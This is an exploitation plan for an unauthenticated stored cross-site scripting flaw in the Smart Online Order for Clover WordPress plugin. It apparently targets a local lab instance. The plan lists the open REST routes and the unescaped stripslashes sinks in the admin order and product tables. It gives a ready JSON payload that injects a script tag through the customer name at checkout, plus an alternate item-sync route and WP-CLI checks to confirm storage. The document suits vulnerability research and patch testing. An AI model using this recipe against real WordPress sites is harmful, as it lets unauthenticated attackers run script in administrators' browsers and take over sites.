Exploitation Research Plan - CVE-2026-42738

1. Vulnerability Summary

The Smart Online Order for Clover plugin (versions <= 1.6.0) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin registers unauthenticated REST API endpoints that accept user-supplied data (such as customer names during checkout or item data during synchronization) and subsequently displays this data in the WordPress admin dashboard without proper sanitization or output escaping.

The primary sinks are found in the WP_List_Table implementations used to display orders and products, where data is output using stripslashes() instead of escaping functions like esc_html().

2. Attack Vector Analysis

• Target Endpoint: WordPress REST API.
• Namespace: moo-clover/v1 (defined in includes/moo-OnlineOrders-Restapi.php).
• Vulnerable Routes (Inferred):
  • POST /wp-json/moo-clover/v1/checkout/place_order (handled by CheckoutRoutes).
  • POST /wp-json/moo-clover/v1/sync/items (handled by SyncRoutes).
• Vulnerable Parameter: customer_name, first_name, last_name, or soo_name.
• Authentication: None. The Moo_OnlineOrders_Restapi::register_routes function uses 'permission_callback' => '__return_true' for these routes.

3. Code Flow

1. Input: An unauthenticated attacker sends a POST request to /wp-json/moo-clover/v1/checkout/place_order.
2. Processing: The CheckoutRoutes class (instantiated in Moo_OnlineOrders_Restapi::__construct) processes the request and stores the order details (including the malicious customer_name) via the Moo_OnlineOrders_Model or by sending it to the Smart Online Order API.
3. Storage: The payload is stored in the database (either locally in wp_moo_orders or cached via the SooApi).
4. Admin Access: An administrator navigates to the "Orders" page in the dashboard: wp-admin/admin.php?page=moo_orders.
5. Data Retrieval: Orders_List_Moo::prepare_items() calls self::get_items(), which fetches the malicious data via $api->getOrdersByPage() (see admin/includes/class-moo-orders-list.php).
6. Output Sink: The Orders_List_Moo::column_default() method processes the customer_name column:

   case 'customer_name':
       if (isset($item[$column_name]))
           return stripslashes((string)$item[$column_name]); // XSS SINK
   

7. Execution: The unescaped script executes in the administrator's browser.

4. Nonce Acquisition Strategy

The REST API endpoints for this plugin explicitly bypass authentication and nonce checks by returning true in the permission_callback.

• File: includes/moo-OnlineOrders-Restapi.php
• Logic:

  register_rest_route( $this->namespace, '/cart', array(
      array(
          'methods'   => 'POST',
          'callback'  => array( $this, 'addItemToCart' ),
          'permission_callback' => '__return_true' // No nonce required
      )
  ) );
  

As such, no nonce is required for the initial injection.

5. Exploitation Strategy

The goal is to inject a script into the "Customer Name" field via the checkout REST API.

Step 1: Discover the exact route

Since the full content of CheckoutRoutes.php is not provided, we first verify the registered routes.

1. Use http_request to GET http://localhost:8080/wp-json/moo-clover/v1.
2. Locate the route related to "checkout" or "place order".

Step 2: Inject the Payload

Send a POST request to the identified checkout endpoint.

• URL: http://localhost:8080/wp-json/moo-clover/v1/checkout/place_order (inferred)
• Method: POST
• Headers: Content-Type: application/json
• Body:

  {
      "first_name": "John",
      "last_name": "Doe<script>alert(document.domain)</script>",
      "email": "attacker@example.com",
      "phone": "1234567890",
      "order_type": "pickup",
      "items": []
  }
  

Step 3: Trigger the XSS

1. Log into the WordPress admin panel as an administrator.
2. Navigate to http://localhost:8080/wp-admin/admin.php?page=moo_orders.
3. The alert box should trigger when the "Orders" table renders.

6. Test Data Setup

1. Plugin Configuration: The plugin must be active. Some features may require an "API Key" to be set in Clover Orders > Settings. If the REST API checks for a connected store, use wp option update moo_settings '{"api_key":"mock_key","merchant_id":"mock_id"}' --format=json.
2. Page Setup: No shortcodes are strictly necessary for the REST API attack, but visiting the homepage ensures the REST API namespace is initialized.

7. Expected Results

• The REST API should return a 200 OK or 201 Created response.
• Upon visiting the admin Orders page, the HTML source for the order row should contain:
  <td>John Doe<script>alert(document.domain)</script></td>
• A browser alert showing the domain name should appear.

8. Verification Steps

After sending the HTTP request, verify the storage using WP-CLI:

# If stored in local orders table
wp db query "SELECT customer_name FROM wp_moo_orders ORDER BY id DESC LIMIT 1;"

# If synced to items table (for SyncRoutes variant)
wp db query "SELECT soo_name FROM wp_moo_item WHERE soo_name LIKE '%<script>%';"

9. Alternative Approaches

If place_order is not the correct endpoint, target the synchronization mechanism:

• Endpoint: POST /wp-json/moo-clover/v1/sync/items
• Payload: Set the name or soo_name of an item to the XSS payload.
• Trigger: View the items list at wp-admin/admin.php?page=moo_items.
• Code Sink: Products_List_Moo::column_soo_name() which uses stripslashes((string)$itemName) (see admin/includes/class-moo-products-list.php).